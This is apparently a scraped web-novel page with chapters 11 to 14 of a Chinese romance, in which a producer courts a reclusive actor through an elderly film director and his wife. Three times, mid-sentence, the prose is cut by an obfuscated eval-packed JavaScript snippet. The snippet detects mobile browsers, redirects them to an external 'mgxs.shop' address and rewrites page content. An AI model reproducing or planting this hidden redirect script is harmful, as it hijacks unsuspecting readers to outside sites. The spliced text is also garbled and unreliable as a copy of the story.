而木哀梨,木哀梨没有一点毛病,他和木哀梨坐得那么近,也看不出木哀梨脸上有一丝瑕疵,就是太白了,白得过分,不健康。 硬要说有什么不对,唯一的问题…… 木哀梨翻到某一页,说写的是木哀梨好看,他表现出紧张,木哀梨发现后笑了。 但是,他紧张是因为他那一瞬的想法被木哀梨看穿,事实上他写的并不是木哀梨的长相如何。 木哀梨在炸他? 周新水不知怎么品出一丝甜味。 什么样的关系值得木哀梨做这样的事情,耐人寻味。 说不定是他上次帮木哀梨挡了下药的酒,木哀梨心存感激,有意和他当朋友甚至…… 不行……不能睡粉。 这是作为大明星的基本准则,哪怕木哀梨谈圈内的歪瓜裂枣,也比睡粉强,睡粉是大忌。 啧。 周新水遗憾地在朋友圈遍寻好友,终于找到了一个和柯图有些私交的朋友。 木哀梨费心给柯图准备七十大寿的生日礼物,肯定感念柯图的恩情,从柯图下手,绝对可行。 “能帮我约柯导见一面吗?微信啊,微信不合适吧,柯导年纪大了,手机用得不利索,这样,我上门去见他吧,这是我身为晚辈的礼数,您就跟他说,明天有个晚辈去拜访他。行,多谢了,以后有用得着的地方,您只管说。” 11. 第 11 章 “朋友只说有个年轻人想来拜访我,没想到还能给我带来个惊喜。” 柯图说的正是周新水。 这年轻人想请他亲自操刀打造《换乘》,那剧本他看过一二,大体上不错,但有些他理解不了的,问夫人,说是小年轻才懂,这本子是给年轻人看的。 他对拍给年轻人看的文艺片印象只有青春疼痛四个字,翘课,早恋,怀孕流产,想到就牙疼,就连他最看好的艺人木哀梨,他的过去也充斥着一股青春疼痛风,他这个年纪的人实在无法理解。 柯图便委婉拒绝了周新水。 然而周新水告诉他,不是那种青春。 “我大学有个同学,跟我一样学的管理,但她不喜欢这个专业,喜欢写小说,别人在卷绩点,她在写小说,别人在卷综测,她在写小说。我问她每天都写,肯定挣了很多钱吧,她说每个月一两百。为什么不转专业?因为没有教写小说的专业。” “我又问她,那毕业以后还会继续写吗?她说不知道。写了两三年都没成绩,为什么不放弃,专心上课?她不说话。毕业后她去了哪里工作,我们也不知道。有时候我觉得她和我挺像的,只不过我比她幸运一点。” 柯图听完有些感慨,但除了感慨也没有别的话可以说。 周新水及时接下去,说起自己来。 他说,他从小爹不疼妈不爱,初中时被霸凌,有个人帮了他,那人一句“这么高的个子都白长了”让他努力锻炼,靠着自己的改变改变了周遭人的态度。后来又一心想要报答那人,进入了影视业,走到今天。 他运气好,碰到那个人,给他未来十年指了方向,但很多同龄人不一样,他们迷茫,迷茫成绩,迷茫事业,跌跌撞撞,兜兜转转,情情爱爱反而是次要。 柯图:“帮你那个人说话那样难听,也难为你没有心生怨气。” 周新水佯装不满:“哪里难听?除了他,还有谁会多管闲事,从一群家世优越的二代手里把我救出来,还有谁会说你个子高,练点肌肉,保管揍得他们妈都不认识。那不叫难听,叫傲娇,叫心口不一,多可爱!” 他维护那人的神情,腻味的模样,让柯图这个一把年纪皮都老皱了的人感觉到起鸡皮疙瘩。 柯图搓了搓手臂,“你是喜欢她吧?” 周新水突然低下头,含蓄一笑。 柯图哈哈大笑,“这么多年,你就没打算追她试试?” “我想追也得他单身不是?” 柯图拉长声音啊了一声,“这么多年一直在谈啊,俩人感情这么好,那确实不成。” 周新水微笑:“是一直在谈,但不是一直谈一个。” 柯图愣了一会,反应过来,极为不赞同,“这,唉!怎么跟哀梨是一路货色。” 他对爱情、亲情、友情始终持有严肃态度,也有人说他落伍,现在不流行那一套,但他还是对木哀梨随便谈谈的习惯忧心忡忡。 “一直没个正经对象,都快二十五岁了,也不知道什么时候能结婚生子,我在他这个年纪,早跟我爱人领证了。” “木哀梨吗?”周新水状似没听清,“他似乎经常谈对象吧,我看新闻上是这样写的。” 柯图皱眉:“哪是谈恋爱,就是关系好点的朋友,新闻媒体捕风捉影,正好那些朋友又都是圈内人,哀梨心大,觉得分点热度过去也无所谓。” 周新水听见这个说法,一时有些猜不透,又听柯图说:“更何况那都是些男人,现在社会风气是开放了,但也没到个个都是同性恋的地步!那些粉丝喜欢看两个男的,硬凑的。” 周新水明白了。 柯图应该是不太接受同性恋,木哀梨怕刺激到他,才说是朋友。 还以为真的是假的。 门铃响起时,柯图笑着说应该是他爱人兜完圈子回来了,他打开门,用苍老的声音欣喜道:“哀梨也来了。” “你来得正好,给你介绍个朋友。” 柯夫人进屋接电话,柯图把她和木哀梨手上的菜放进厨房,回来客厅,指着周新水说:“周新水,影视总监。你学学人家,专一,深情,为了喜欢的女孩子一路走到现在。你一天到晚跟不三不四的人鬼混,给人家蹭热度,把自己名声败坏了,女孩子不喜欢这样的。” 周新水早早起身,柯图一句“喜欢的女孩子”打破他精心准备的偶遇神情,浑身一滞,艰难地用眼神暗示木哀梨,不,他是男同,他不喜欢女生。 木哀梨都不敢跟柯图出柜,他一个外人贸然自踹柜门,后面的计划也就不用推进了。 都怪他刚才多嘴提这一茬。 木哀梨没多给他一个眼神,自然也没看见他的暗示,他只能打碎牙齿往肚子里吞,顶着异性恋的帽子朝木哀梨伸手。 木哀梨微妙地瞥周新水一眼,目光徐徐移到那只宽阔的手掌,柯图一巴掌拍在他后背,“你还摆起架子来了。” 木哀梨轻哼一声,握住周新水的手。 周新水确信,那轻轻一哼只有他一个人听得到。 傲娇得很。 木哀梨手上是书店里那本传记,他把书放在桌上,柯图当即明白是给自己的,纳闷:“我七十大寿,你就给我送本旧书。” “那还我。”木哀梨浅笑着伸手。 柯图躲开,当场翻开看里面有什么玄机。 没几秒,便捂着眼哽咽了起来。 木哀梨仰起头,似乎没有安慰他的意思,“我早跟你说过,何必在意某些人的看法。他们不喜欢你,又不为你做什么,你不对他们负有责任。” 这话听起来有什么隐情。 周新水回忆着,就见柯图摘了老花镜,擦着眼角,道:“他们说的也没错,我的确是老了,跟不上时代。” “这小朋友给我看了个剧本,上面好些我理解不了的,就连主线里主角背井离乡,我都不能理解,年轻人的选择,和我们那会的想法,已经大不一样了。那些人说得难听,但也是事实,我就是想装作听不到,也做不到啊。” “是,你年纪大了,的确如此,你就应该退出娱乐圈,再也不碰摄像机,免得脏了别人眼睛。” 木哀梨嗤声。 当年木哀梨出道的片子上映后,横扫国内各大奖项,从导演到演员,各个风生水起,但不到一年,就有漫天的诋毁,说柯图的电影一股老人味,跟同是老人的评委臭味相投,才能在拿奖上毫无阻拦,霸占着娱乐圈的资源,做自娱自乐的事情。 事情闹得太大,大批导演受到牵连,柯图被批判得最狠,那时他正在筹备新电影,受到影响,还没开机就结束了,此后再也没有接过片子。 柯图手拿着那本传记,明显在抖,浑浊的眼显现出几分挣扎的澄明。 在周新水的印象里,柯图在导演界是功成名就的代表。 早年拍现实向文艺片,在西方电影大量进入华国市场造成巨大冲击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123045|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时带着华国艺术在国内外立足,没想到老了受到的却不是敬佩仰慕,而是铺天盖地的诋毁。 让一个拍出那么多经典片子的人怀疑自己是否真的讨喜,甚至可能含恨而终,周新水本来就厌恶那些借着贬低电影而贬低木哀梨的人,现在更是憎恶。 而木哀梨,无论是神情还是语言,都像是对柯图毫不在意,不顾他死活,但做的事情却明晃晃地说着他想要宽慰柯图,甚至鼓励他趁着还能走得动路重拾场记板。 那轻蔑的,不屑一顾的眼神。 还是他。 木哀梨是这样的,十年如一日,从来没有变过。 周新水主动掺进了这事端。 “柯老先生,你别听木先生说的,怎么能真破罐子破摔。他都辛辛苦苦给你搜集了这么多喜欢你电影的观众感言,分明是想让你重振旗鼓。” 木哀梨拧眉。 周新水错开视线,循循善诱:“你想想我刚才说的那件事情,可不是一样的?” 柯图年纪大了,脑子转得慢,想了好一会,才想起来,“哦,我记得,说你个子白长了。” “是吧。” 刚从柯图说那个人说话那么难听,就能看出他确实是一个老式的人,讲究的是委婉含蓄,既不喜欢太外露的喜欢,也不接受太刺耳的讨厌,哪怕难听的话里裹着的是一片好心。 要是他不帮木哀梨点明,恐怕真的就让柯图误会木哀梨也看不起他了。 柯图看向木哀梨,木哀梨高傲地偏头,挺巧的鼻尖在窗外透进来的光下宛如水晶。 “正巧,我那个剧本就是写给当代年轻人的,你来拍,拍完保管那些流言蜚语污蔑诋毁统统烟消云散。” 柯图有些犹豫,有些心动,踌躇不定。 木哀梨眯了眯眸,探究地眼神从上到下扫了周新水一遍。 “哪件事情?” “他读书那会儿的……”柯图刚开口,周新水猛地一咳嗽,把这老人吓得一激灵。 “我不能听?”木哀梨似笑非笑。 周新水半掩着嘴,假装咳嗽不停,“咳咳,不,咳,当然不是,咳咳咳。” 柯图见他咳得这么严重,把刚才倒好水的杯子推了推,“喝点水,润润喉咙。” “老柯,你帮我看看这号码,我看不清楚。”柯夫人站在门口,拿着电话本。 柯图示意周新水缓缓,随后朝柯夫人走去。 周新水喝了一口水,抬头就看见木哀梨翘起一条腿,手指点着桌面,一瞬不瞬看着他。 “咳咳,我去下洗手间。” 周新水尿遁,站起来走了两步,突然发现不知道洗手间在哪里。 但走一步是一步,能躲一会儿是一会儿,指不定待会柯图出来,这茬就过去了。 结果木哀梨的声音从身后幽幽传来:“左转。” 周新水硬着头皮左转,洗手间果然出现,他淡定地走进去,正要关门,一只手抵住门。 用力不大,但木哀梨身子骨弱,他要是强行关门,万一伤着木哀梨,于心难安。 木哀梨侧身进来,反手锁了门。 他靠近周新水,把人逼到洗手台前退无可退,才徐徐抬手,从周新水腹间向上,抓住他的暗红色领带轻轻一拽,让周新水不得不俯身下来。 靠得太近了。 “我不喜欢别人算计我,无论是谁。” 周新水心凉了一半。 12. 第 12 章 周新水:“是不是有什么误会?” 木哀梨松开周新水的领带,冷声道:“你是制作人也好,私生也好,销售也好,我都不关心。只有一点,不管你是什么目的,别想着靠着跟我身边的人打好关系靠近我,否则别怪我不客气。” 这话已经不是暗示,是明示,警告。 而周新水的确怀着某种目的,他无可辩驳。 这时洗手间外柯图喊:“哀梨啊,来帮老头子看看这纸上的字儿。” 木哀梨开门走出去,似乎不打算再和周新水纠缠,周新水迈大步子走到木哀梨前面,低声说:“你把我想得太坏了。” 柯图坐在客厅,拿着电话本,扶着老花镜,柯夫人坐在他旁边,朝木哀梨和周新水招手。 周新水笑着走到柯图身边,“我来吧,柯先生。” 要是木哀梨警告一句,他就听话地放弃,不用他多说,就足以证明他别有所图,他得反其道而行之。 “都行,都行,你们眼睛好使。” 柯图这些年老花眼严重,夫人作为编剧,早年用眼过度,熬夜写剧本,本来视力就不好,又得了白内障,看字更费劲。 明天是他七十生日,夫人打电话邀请朋友,碰巧提到一个好几年没见面的朋友也在海市,她就说也请来一起聚聚,但新手机没存号码,电话本上数字又模糊不清。 周新水帮忙把电话存进手机,柯夫人又进去打电话,木哀梨神色冷淡,说:“礼我已经送到,明天的生日宴我就不去了。” “知道你们年轻人跟我们年纪大的没话说,我不强迫你来。” 柯图摆手,转头问周新水:“小周你明天有空吗?” 聊得投机,拿出来的剧本也的确不错。 周新水一愣,说:“有空。” 这对周新水来说完全是意外之喜。 他穿上了最贵的西服,抓了头发,捯饬一番,给张总发过去请假通知,进入了柯图的寿宴会厅。 作为大导演,哪怕在网上风波未平,现实里也是一堆人追着捧着。 柯图没有孩子,他站在柯图身后,时不时有人投来好奇的目光,直到柯图搂着他的肩,介绍说:“这么多年没有拿起摄像头,实在想念,碰到小周拿剧本来找我,又有些手痒,《换乘》这个剧本我和我夫人都很认可,很看好,对我们而言也是一种挑战,还望诸位多多支持。” 周新水还没反应过来,便已经下意识露出一个坦率的笑容,落落大方地开始应酬。 在柯图的引荐下,不多时就有三位资方口头约定投资,和过去一杯又一杯烈酒下肚才拉得到一两千万投资相比,简直容易得难以想象。 原来这就是有人托举的感觉。 他心里惦记着木哀梨,时不时往四处看,但始终没见到木哀梨现身,心想他竟然真的说话算话,这么狠心。 结束后,周新水送柯图上车,关门前诚恳地向柯图道了谢,柯图和蔼可亲说:“你来得巧,不用谢我。那个剧本还有些问题,回头让绿柏帮你改改。” 柯夫人名叫那绿柏,早年在外企当高管,后来又尝试了经营花店,当导游,在各个地方到处跑,有感而发,写了些文章,最后才成为编剧,稳定下来。 她眼睛不好,看剧本费力,周新水便前往柯家,给她念剧本。 《换乘》讲的是两个年轻人互换车票,前往对方生活地的故事。 刚念完开篇几幕,主角阿云胜在西南的草原地带,十八九岁,单亲家庭,身患过敏性哮喘,热爱诗歌绘画,始终向往大都市,却又不敢轻易离开草原,去未知的领域闯荡。 那绿柏皱着眉:“这里写得不好,得多交代原因,不然他的热爱站不住脚,犹豫不明不白。” 周新水却觉得没有问题,说:“他要是走出草原,走错一步,就意味着人生的颠覆。” “哪有这么严重?”柯图抖着报纸,“绿柏不也是一个职业一个职业试过来的。” 周新水摇头:“现在不一样了,社会不会给谁试错的机会,也不是每个前辈都像柯老先生一样愿意给年轻人机会,现在是所有人都在争夺。” 那绿柏对剧本有了兴趣,扶扶眼睛:“我昨天还说现在条件好了呢。” 那绿柏非科班出身,对剧本的看法相当不一样,她有时针对剧本内容细致地讲,有时从大的理论出发,侃侃而谈,周新水原本想记下来发给剧本原编剧让她修改,越听越上头,手痒,干脆自己动起手来。 干他这一行的,接了项目坐班就少,但成天不见人,张总也不免多问两句。 周新水只说:“恭喜张总,《换乘》一定给你捧个奖杯回来。” “你小子,成天说大话。”张总乐呵道。 修改剧本是个大工程,费了不少功夫,这期间有不少公司明里暗里来打听选角,柯图有经常合作的选角导演,他就把阿云以外的其他角色选拔交给了选角导演。 刚动工,网上开始传木哀梨要开演唱会的消息,周新水秉持着怀疑的态度——木哀梨既不是专业歌手,又那副身体架子,唱不了两句就没气,救护车都得摆一圈,怎么开演唱会? 网上传得沸沸扬扬,好像真得不行,结果没等到木哀梨工作室官宣,先等到了吉意远开粉丝见面音乐会的消息。 吉意远的音乐会筹备得极快,月中宣布,月底就举办,生怕比谁慢了。 周新水暗自有了定论。 大概率是吉意远为了宣传自己的音乐会,特意放的烟雾弹,毕竟不带木哀梨大名,他的音乐会恐怕要惨淡收场。 然而音乐会当日传出来的丑闻,让周新水的想法完全反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123046|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转。 音频在网上传播得极广。 嘈杂的音乐会背景声中,音响清楚地传达了带耳麦人的声音。 “关了吗?” “关了,感觉怎么样?” “还行吧,累死了,腰酸背痛。” “她们好热情,你唱的时候还欢呼和跟唱呢。” “吵得要死,我带着耳返都快听不清伴奏,又跟不上节奏,又合不上调,也不知道能不能出神级直拍,快把我手机给我,我看看。” 吉意远彻底没有办法翻身了。 如果只是爆出他对木哀梨做出过激行为,网友的态度不会像现在这样一边倒,反而会两极分化。 树大招风,有的是看不惯木哀梨的人,正主和木哀梨有竞争的人,他们都会站在真相的对立面。 可惜他得罪的不是其他艺人的粉丝,而是自己的粉丝,还有所有对偶像付出真心的人,哪怕少数粉丝捂着耳朵颠倒黑白,也敌不过大众对于吃饭砸锅、端碗骂娘的厌恶。 毕竟是粉丝经济,这是命门。 事情发酵了两天,又被扒出以前就嘴过粉丝,只是没有闹大,靠着和木哀梨粉丝撕架,转移矛盾,维持粉丝黏性,结果这层遮羞布被他亲手揭开,露出不堪入目的底色。 吉意远的经纪公司宣布艺人违约,要求其支付违约金。 网传的天价数字让人不寒而栗。 这么轻易就放弃了一个有热度的摇钱树,周新水心有疑惑,不多时就看见有人扒出经纪公司月前已经被榨干。 别人或许不知道原因,但周新水对内情不可谓不了解。 那天在书店,木哀梨说,对方公司赔了几个资源。 这“几个”,就很耐人寻味。 那公司本来也不是大公司,打造出了一个小木哀梨才小有名气,为了保住吉意远,在那足以把人送进监狱的证据之下,恐怕是掏空了家底。 结果吉意远反手又把自己推上风口浪尖。 像他这样活在包装下的人,这招执法钓鱼,效果不能再好了。 无论是吉意远和公司的争分,还是吉意远和粉丝的矛盾,都和木哀梨不沾半点边。 都说趁人病要人命,但如果木哀梨这时跳出来说吉意远曾试图给他下药,能赚一波同情分,还能踩吉意远一脚,这的确不假,但也会引来黑粉洗地,阴谋论说木哀梨故意引导,吉意远是被他设局陷害了,网传的演唱会就是证据。 而现在木哀梨衣角都没脏。 在保证吉意远再也翻不了身的情况下,不多做哪怕一件事,哪怕没有得到应有的道歉。 周新水想起木哀梨那句“我不喜欢别人算计我”,终于明白了这话的含金量。 他想,自己不能再坐以待毙,就这样等待下去,绝对没有如愿以偿的机会。 13. 第 13 章 机会来得很快。 立冬下了一场雨。 当天改完剧本,已经是晚上七点,那绿柏让柯图去买了些羊肉回来炖汤,留周新水一起吃了饭。 那绿柏说周新水虽然是外行,但很有灵气,喜爱溢于言表,遗憾他没有当专职编剧的打算,熟络下来后,经常留他吃饭。 “哀梨跟老头子一样,都是西南省的祖籍,只不过他年纪小,早早跟着舅舅定居在京市,估计把西南省都忘了。” 西南省立冬爱吃羊肉,羊肉汤炖得奶白鲜香,白萝卜和葱花浮在上面,加上白胡椒粉增味,清爽醇厚。 那绿柏把保温桶递给周新水,“麻烦你了小周。叫他来吃饭,总不肯来,说我们要念他,我们都这把年纪了,能念他几年?” 周新水笑:“木先生肯定觉得您二位能长命百岁,那可不还要念他几十年。” 那绿柏也笑:“你就哄我们两个吧。” 那绿柏给了他木哀梨的电话,说木哀梨在朋友的酒吧里,让他到了给木哀梨打电话就行。 周新水直接往NightLight去,哼着欢快的歌,感觉整辆车都在跳舞。 到酒吧门口,他虔诚地按下了拨号键,手机通话不能录音,便又打开自己的录音笔。 电话无人接听。 估计是酒吧里太吵闹,木哀梨没听见。 周新水怕羊肉汤放久了味道不好,纠结了一阵,往酒吧里走去。 服务员看了眼他的会员卡,又盯着他手里的保温桶,周新水把保温桶抱得更紧,服务员无语地让他进去了。 木哀梨又在那个卡座,宁九,还有一个陌生男人。 桌上摆着两只手数不过来的酒杯,那个看着人模人样的男人站在木哀梨面前,身材还行,但周新水觉得不如自己。 不知道说了什么,木哀梨朝男人勾了勾手,男人俯身下来,木哀梨往他衬衫里塞了一卷钞票。 男人挑眉,似乎在问他什么。 周新水牛犊一样直直走过去,“木先生。” “那女士叫我给你送的羊肉汤,”他把铁质保温桶放在一堆酒杯中间,“你电话打不通,我就贸然进来了。” “知道了。”木哀梨没多搭理他,但周新水个子太高,往那一站,存在感太强,“还有事吗?” 周新水:“那女士叮嘱我要看着你吃,说不然你没吃,浪费柯老手艺。” 假的,那女士压根没说,但他不想走这样走了,让木哀梨和那个男人发生点什么。 木哀梨有些不快,倒是宁九说:“赶紧把他带走吧,快把我店闹成淫窟了,待会警察进来第一个抓你。” “我可什么都没做。” “喏,这一堆的酒杯是我收的?”宁九笑,对周新水喊,“帮我挣了不少钱呢!就是没一个让他看上的。” 有些人天生就吸引人,比如木哀梨。 但那些人中少有让木哀梨感兴趣的。 尤其是最近。 他像是被关掉了某个阀门,万花丛中过,没一朵入得了他的眼。 越想越烦燥,身体里有些躁动的因子在喧嚣,木哀梨干脆站起来,要去拎那保温桶。 周新水抢先把保温桶拎起来,“我帮你。” 木哀梨没说什么,往外走。 送酒的男人一脸不爽,“什么意思?” 周新水按下得意洋洋的神色,捏了把男人的肱二头肌,十分惋惜地安慰他,“散了吧哥们,还得练。” 在男人咬牙切齿的注视中,周新水小跑跟上木哀梨,“你回家吗?我送你。” 他特意把车上的周边都藏起来了。 “不用。” “那你得找个地方,不然不方便吃。” 木哀梨没接话。 周新水自顾自道:“十来度的天,你也不多穿点,这衣服腰上还挖两个大洞,当心拉肚子。柯老说你身体不好,他劝过你要注意保暖,但你总不听,来,我不怕冷,你披上吧,免得着凉。” 木哀梨顿步,问:“他什么时候劝过我?” 啊,没劝过吗。 不知道啊,他造谣的。 柯图跟其他老人一样,都有爱说教的毛病,但周新水听着,能感受到柯图是真心为他好,劝他多闯荡,胆子大些,也教他怎么跟其他导演沟通,怎么在剧组里游刃有余,倾囊相授。 他理所当然地觉得柯图肯定也这样对木哀梨,而木哀梨身体不好又人尽皆知。 周新水给木哀梨披风衣的手僵在空中,五秒钟后,他一咬牙,当没听到,把衣服盖在木哀梨肩上。 “这风是有点大啊,开车的也没素质,乌拉乌拉的,你说什么来着?” 木哀梨沉默地看了他一会,扭头往前走,过了红绿灯。 周新水给他当拎汤助手,没敢多嘴。 木哀梨没往停车库里走,反而进了一家五星级酒店顿新,这让周新水有些意外,甚至欣喜。 然而当他跟着木哀梨略过前台,直接乘电梯上楼时,他忽然发现不对劲。 这房像是早就开好了的。 周新水重新闷闷不乐起来,低着头,攒着一股劲往前走,突然砰的一声,他胸口撞到木哀梨后背,木哀梨正开门,脑门直直撞到门上。 坏了。 周新水连忙把木哀梨转了个方向,仔仔细细检查他额头有没有破相。 娱乐圈神颜,全球最美面孔上榜者,绝对不能毁了。 好在只是有些泛红,周新水无比爱惜地揉了揉,突然感受到一股针刺般的目光,低头一看,木哀梨半眯着眼,眼里折射出要杀人的光。 周新水看看自己还捧着木哀梨小脸的手,又看看他撞红的额头,立马站直,“抱歉,我不是故意的。” “你的话有几分可信度?” 周新水:“十分。” 木哀梨:“你是吉意远派来的吧。” 骂他笨骂他蠢都可以,但给他扣下家粉籍,实在伤人。 善语结善缘。 周新水低垂着头,跟条傻狗一样,木哀梨看不下去,说:“去楼下找前台要两双筷子。”周新水当即点头,把保温桶递给木哀梨,还没进屋又下去了。 木哀梨把保温桶放在桌上,打开里面是米饭,下层是一些小菜,最底下是羊肉汤,还热着。保温桶盖上钳着铁筷和勺子。 他把盖子正扣在桌上,给柯图发微信。 木哀梨:收到了,你和那老师多注意身体。 柯图:你还反过来教育我。 柯图:那老师让我告诉你,记得穿秋裤。 木哀梨:不。 周新水上来得很快,木哀梨刚坐下,他便回来,包装在电梯里就扯了,递给木哀梨就能用。 木哀梨朝对面的位置抬了抬下巴,“坐下吃。” 周新水愣:“还有我的?” 木哀梨说:“没有,给鬼拿的筷子。” 周新水连忙听话地坐下,双手搁在桌上,目不转睛盯着木哀梨。 木哀梨吃饭很优雅,一点点咬着肉,没碰到嘴唇一下。就是似乎没什么力气,周新水都恨不得帮他把肉嚼碎了再喂给他。 “不吃就下桌。” “吃。” 周新水已经在柯家吃过,只倒了点热汤,边喝边看木哀梨。 他的目光炽热到木哀梨一个演员都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123047|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没办法装作没有感受到。 木哀梨放下筷子,“有事说事。” 机会来了。 周新水微微向前俯身,道:“木先生,我们《换乘》的剧本已经打磨得七七八八,只要确定下来主演,就能开机。柯老说,你很适合这个角色,当然,在我心里也是,你绝对无可替代,这个角色就是为你而生,我还是希望你考虑考虑。” 《换乘》两个字一出口,木哀梨就知道这人还没死心,难怪无事献殷勤。 他喝了一小口汤,“我这个人毛病多,最大的毛病就是喜新厌旧。” 周新水懂他的意思。 木哀梨从来不在谁身边多停留,仿佛一只蝴蝶,闻着花香来,轻轻一点,又扑着翅膀飞走了,只有那花还在摇曳中依依不舍。 但他觉得,在演戏上,木哀梨是不一样的。 “你要是真喜新厌旧,也就不会拍好几部病秧子人设的片子了。” “那是因为我没得挑。” “怎么会?就拿《井》来说,同期邀请你的还有好几个,别人导演还在首映礼上说很遗憾没有请到你,被主演粉丝骂没情商。” 木哀梨放下碗,磕在桌面,发出清脆的一声。 他朝周新水手边的抽纸递了个眼神,周新水立马扯了张纸给他。 木哀梨擦了唇,冷冷道:“你以为你是谁?你很了解我?” 木哀梨似乎很不喜欢别人揣测他,周新水感受到凛冽的敌意,坦白:“我不了解。” 紧接着又说:“那你可以给我一个了解你的机会吗?不了解你,我怎么会轻易放弃?” 房间蓦地冷了下来。 木哀梨奇怪地看着他。 周新水后知后觉地意识到刚才那话有些……像情话。 噌地一下,脸上火辣辣的。 木哀梨:“你脸红什么。” 周新水:“羊肉吃多了吧。” “木哀梨!你开门,你怎么能把密码改了?我们才刚分手,你不能这样对我……” “我查过了,你在房间,你开门好不好?我不想就这样结束,我不甘心。” 木哀梨深深闭了闭眼,周新水主动把事情揽了过去:“你休息吧,我叫他离开。” 正好让他缓缓刚才那窘迫,周新水开了门,挡在门口,说:“木哀梨要休息了,你别打扰他,赶紧走。” 翟开诚先是疑惑,上下打量,明白过来,忿忿道:“竟然是你,我就知道你不是什么好东西,居然翘我墙角。” “让开,别挡我路。” “你误会了。还有,我不会让你进去骚扰木哀梨的。” “他是我男朋友,怎么就骚扰了?” “你们分手了。” “你算什么东西,破卖保险的,没你说话的份,闪开!” 分手两个字戳到翟开诚雷点,一下子把这炮仗点燃。 周新水拧眉。 翟开诚说话实在不好听,要不是木哀梨就在里面,他大概率会把人拎出去以理服人,让这瘦竹竿再也不敢骚扰木哀梨。 这回他在,那下回,他不在,木哀梨怎么办? 肩膀被人按了一下,是木哀梨,周新水说:“你别出去。” 木哀梨没听,推开他,翟开诚脸上浮现出喜悦,“你来了——” 啪—— 木哀梨抬手就是一巴掌。 翟开诚捂着脸,难以置信:“你为了他打我?” 木哀梨收回手,似乎有些疼,动了动手指,“与他无关,上回我就说了,再见到你我还扇。” 周新水握住他的手,轻轻揉了起来。 翟开诚:“呵。” 14. 第 14 章 “你要骗我,也不用这么离谱的借口,我长眼睛了,我自己会看,我只是不明白,为什么是他?他到底有哪里比我好了?” “我真不是……” 被误解成木哀梨现任,他心里暗爽,面上还要装作无可奈何,刚开口,木哀梨按住他的手,“你是长眼睛了,可惜没长脑子。” 翟开诚嘴巴一撇,又委屈又生气,“两个月前你还说我年轻气盛,活泼可爱,刚分手就在小三面前诋毁我。” “是诋毁吗?”木哀梨问。 “看样子是诊断。”周新水捧场。 翟开诚恶狠狠瞪周新水一眼,恨不得从他身上撕下一块肉来,转头又对着木哀梨可怜兮兮皱着眉:“你带人开房,再怎么,再怎么也不该继续开这个房间,明明这里是我们……” “在你之前我就长租了这个房间。” 木哀梨打断他。 翟开诚身体一晃,像是受了极大的打击。 他颤抖着声音:“我们真的没有可能了吗?” 木哀梨用看傻子的眼神看了他两眼,没说一个字就转头回了房间。他走得果断,翟开诚一时没反应过来,周新水连忙把门一关。 砰的一声,混着翟开诚幽怨的声音:“你这样玩弄别人感情,迟早被反噬……” 你要是真的爱木哀梨爱得死去活来,不可能说出这种诅咒的话。 周新水心想。 木哀梨在沙发上坐下,侧身半倚在扶手上,双目轻闭,眉心蹙起,捏着鼻根。 周新水看他很难受的样子,鸥鸟一样在他身边盘旋几遭,实在没忍住放轻步子走到他身后,覆手到他面上,替他揉着太阳穴。 木哀梨几不可闻地抖了一下,但并没有拒绝。 “手还疼吗?用不用擦点药?” “没那么金贵。” 就有那么金贵。 “下次别扇他脸了,他看着就脸皮厚,扇不疼,反而把自己手打疼了。” 木哀梨缓缓睁开眼:“两个月前他还挺有意思,第一次上床跟被雷劈了一样,很纯,逗他跟逗狗似的。” 一段意味不明的发言,周新水悄悄加重了按摩的力度:“他跟你谈的时候就该做好分手的准备,现在纠缠不清,完全没有半点自觉,早点断了也好。” “他年纪太小了,虽然嫩,但根本不懂什么叫成年人,才会百般纠缠,给你带来一堆麻烦事。下次谈对象记得擦亮眼睛,不仅要干净的,还要成熟懂事的……” “行了,不用按了。” 木哀梨拂开他的手,那冰冷的体温像是刚从冰箱里拿出来,周新水顾不上被推开,不由自主关心他:“你手好冷,真得多穿几件衣服。” “不帮我暖暖?” “啊?” 这不好吧,周新水微怔。 木哀梨已经站起来,面对周新水,“把手放我脸上的时候怎么不‘啊’一声。” 周新水后知后觉自己越界了,无言收回手。 “既然柯老和那老师觉得你是可塑之才,愿意培养你,我也不会多说什么,师出同门,也算是朋友,但也仅此而已,我不会因为这点关系就随便答应谁的剧目邀约。” “还有,既然有喜欢的女孩子,就不要随随便便……”木哀梨伸手到周新水面前虚晃一下,“碰别人的脸,我是gay。” “没有。”周新水被木哀梨手上淡淡的香气迷得七荤八素,差点忘了给自己澄清。 “没有喜欢的女孩。” 木哀梨上下扫视他一眼。 “哦,那你的意思是,你为了接近柯老,杜撰了一个不存在的人给自己立人设,是么。” 他轻蔑地弯唇。 周新水心一沉。 只顾着澄清自己的感情,忘了这件事。 